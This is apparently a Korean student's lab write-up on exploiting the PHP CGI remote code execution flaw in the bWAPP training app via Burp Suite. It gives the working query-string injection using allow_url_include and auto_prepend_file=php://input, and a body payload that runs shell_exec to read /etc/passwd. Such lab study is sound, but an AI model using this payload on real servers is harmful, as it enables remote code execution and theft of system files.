보안공부/bWAPP

[bWAPP]PHP CGI Remote Code Execution

아놀드금자 2021. 5. 25. 11:54
728x90

PHP CGI 취약점
CGI 스크립트가 질의 문자열을 제대로 처리하지 못해 발생

PHP CGI 옵션 (주소값)

-n php.ini 파일을 사용하지 않음
-s source를 색을 입혀 보여줌
-d php.ini에 정의된 설정 내용을 임의 설정




body로 임의의 코드를 대입하면 클라이언트 측에서 원하는 php 코드를 실행

allow_url_fopen = 1 외부의 URL로부터 파일 읽어옴
allow_url_include = 1 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용
auto_prepend_file = php://input HTTP Request Body로부터 data가져와 실행


실습

비박스 PHP CGI Remote code Execution 선택, 링크 접속




http://192.168.136.***/bWAPP/admin/phpinfo.php
주소변경
http://192.168.136.***/bWAPP/admin/?-s
끝을 ?-s로 변경하니 php 코드가 뜬다




버프스위트를 켜서 형광펜 친 부분을 추가해준다


/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

옵션 외부파일include 허용 request body에 있는 데이터가져옴 함수

<?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die; #output은 변수, cat /etc/passwd 파일을 가져오겠다는 뜻 





주의!! 수정 후에 intercept is off를 누르는게 아니라 [forward] 버튼을 누른다
화면에 etc/passwd 파일이 보임

728x90

'보안공부 > bWAPP' 카테고리의 다른 글

[bWAPP] Insecure WebDAV  (0) 2021.05.18
[bWAPP] 파일업로드 취약점  (0) 2021.05.11
[bWAPP]broken Auth -Insecure Login Forms  (0) 2021.05.06
(수정중)[bWAPP]SQL Injection (GET/Search)  (0) 2021.05.02
[bWAPP]PHP Code Injection  (0) 2021.04.18